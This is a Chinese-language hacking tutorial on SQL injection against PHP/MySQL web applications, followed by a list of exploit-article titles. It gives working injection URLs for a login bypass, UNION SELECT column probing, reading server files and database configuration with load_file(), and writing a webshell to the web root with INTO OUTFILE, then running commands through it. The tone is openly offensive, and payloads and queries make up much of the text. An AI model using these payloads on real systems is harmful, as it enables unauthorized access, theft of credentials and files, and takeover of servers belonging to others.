为了大家深刻理解
这里我给大家来个例题
有如下的管理员信息表
CREATE TABLE alphaauthor (
Id tinyint(4) NOT NULL auto_increment,
UserName varchar(50) NOT NULL default ``,
PASSWORD varchar(50) default NULL,
Name varchar(50) default NULL,
PRIMARY KEY (Id),
UNIQUE KEY Id (Id),
KEY Id_2 (Id)
)
//Login.php
……
$query="select * from alphaauthor where UserName=`$username` and Password=`$passwd`";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
Echo “重要信息”;
}
Else
Echo “登陆失败”;
……
?>
我们在浏览器地址框直接输入
http://***/login.php?username=a’or id=1 %23
%23转换成#了
放到sql语句中
select * from alphaauthor where UserName=`a’or id=1 #` and Password=`$passwd`
#号后面的都拜输入了,看看
这句话等价于
select * from alphaauthor where UserName=`a’or id=1
再仔细看看表的结构,只要有id=1的账户,返回的$data就应该为真
我们就直接登陆了,当然你也可以写
hppt://***/login.php?username=a’or 1=1 %23
一样的啦
3.下面将要出场的是……
对了,就是这些显示系统信息的间谍们
VERSION() 返回数据库版本信息
DATABASE() 返回当前的数据库名字,如果没有当前的数据库,DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER()
返回当前MySQL用户名
mysql> select user(),database(),version();
+----------------+------------+----------------+
| user() | database() | version() |
+----------------+------------+----------------+
| root@localhost | alpha | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set (0.01 sec)
如图(1)所示,图不是很爽是不是?睁大你的大眼睛好好看哦
有时候很有用的哦,比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞,没准我们就发现个好动东哈哈
4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。
1)select union select
还是php中文手册中讲的:
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。
在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
SELECT 命令是一个普通的选择命令,但是有下列的限制:
只有最后一个 SELECT 命令可以有 INTO OUTFILE。
需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误
晕咯,这样不好吧。咋半哩?
别急哈,急也没用的
例如:
已知alphadb表有11列
我们
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如图(2)
我们只slect了10个数当然出错啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(3)
我们看看id=247中的数据先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha | 17 | Alpha | 2 | 1 | 1 | 1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我们看到,它的返回结果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦,大家或许会问,这样有什么用呢?
问的好。
Ok,继续试验
当我们输入一个不存在的id的时候
例如id=0,或者id=347 and 1<>1
再看看
mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(4)
我们发现它把我们后面的1,2,3,4,5,6,7,8,9,10,11赋给了各个字段来显示。
哈哈,终于显示不一样了,可是这有什么用呢?
先不告诉你。
我们讲一个具体的例子先
http://localhost/site/display.php?id=347
看看图5
http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
结果如图6
下面我们用一幅图来总结一下union的用法如图7
Ok,知道怎么利用了不?不知道的话下面将会详细告诉你。
2)LOAD_FILE
这个功能太强大了,这也是林.linx在上一个专题中提到的方法。虽然说过了,可我也不得不再提出来。
Load_file可以返回文件的内容,记得写全文件的路径和文件名称
Etc.
我们在mysql的命令行下输入
mysql> select load_file(`c:/boot.ini`);
效果如图(8)
可是我们在网页中怎么搞呢?
我们可以结合union select使用
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file(`c:/apache/htdocs/site/lib/sql.inc`),4,5,6,7,8,9,10,11
这里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦,:P
看仔细图9中的
看看,文件内容暴露无疑。
我们为什么要把load_file(`c:/apache/htdocs/site/lib/sql.inc`)放在3字段呢?我们前面提到列类型一共有那么三种,而原来图7中显示3的地方应该是显示文章内容,应该是字符型的,而load_file(`c:/apache/htdocs/site/lib/sql.inc`)也一定是字符型的,所以我们猜测放在3字段可以顺利显示。
其实还有很多好的利用方法,继续往下看哦!
3) select * from table into outfile`file.txt`
有啥用哩?
作用就是把表的内容写入文件,知道有多重要了吧,我们写个webshell吧,哈哈。
当然我们不只是导出表,我们还可以导出其它东西的哦,往下看啦。
假设有如下表
#
# 数据表的结构 `test`
#
CREATE TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的数据库内容 `test`
#
INSERT INTO test VALUES (``, NULL);
已知我的网站路径在C:/apache/htdocs/site/
好,看你表演哦,输入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20`C:/apache/htdocs/site/cmd.php`
意思就是把表里的a列内容导出到cmd.phpzhong
看看cmd.php里的内容先
1 2 0000-00-00 00:00:00 5 6 7 8 9 10 11
我们执行一下看看先
http://localhost/site/cmd.php?cmd=dir
哈哈,果然很爽哦!
4)下面给大家讲述LOAD DATA INFILE的故事
LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE `file_name.txt` [REPLACE | IGNORE] INTO TABLE tbl_name
LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。
因为这个语句一般情况下不能在浏览器里直接输入,所以作用不是很大。
这里举个例子来说说
表test的结构和上面介绍的一样
#
# 数据表的结构 `test`
#
CREATE TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
我们在mysql命令行下输入:
Mysql>load data infile `c:/cmd.php` into table test
其中c:/cmd.php内容为
注意:上面的内容写在一行里哦。
通过上面的指令我们就把cmd.asp的内容输入到了test表中
实际上得到的就是上个例子test表中的内容!看看,再结合into outfile,是不是一个完美的组合呢。
基本的语法就将到这里了,可能还有很多重要的东西漏掉了哦,你可以去php中文手册里淘金,相信你一定会找到很多好东西的,自己挖掘吧。
| dxbbs漏洞(通杀7.3以前所有版本) | 04-06 | |
| 记对一足球推荐站点的渗透 | 04-06 | |
| 注射DB_ONER权限并且主机与数据库 | 04-06 | |
| bbsxp sql最新版再爆0day? | 04-02 | |
| BBS的通杀跨站方法 | 04-02 | |
| CCTV的XSS跨站 | 03-28 | |
| 全面解析百度XSS跨站漏洞 | 03-26 | |
| Wordpress 2.1.2 以及之前版本物 | 03-26 | |
| 动易最新入侵方法 | 03-15 | |
| PJBlog漏洞利用 | 03-14 | |
| DVBBS <= 7.1.0 sp1 博客 远程注 | 03-14 | |
| php简单入侵 | 02-07 | |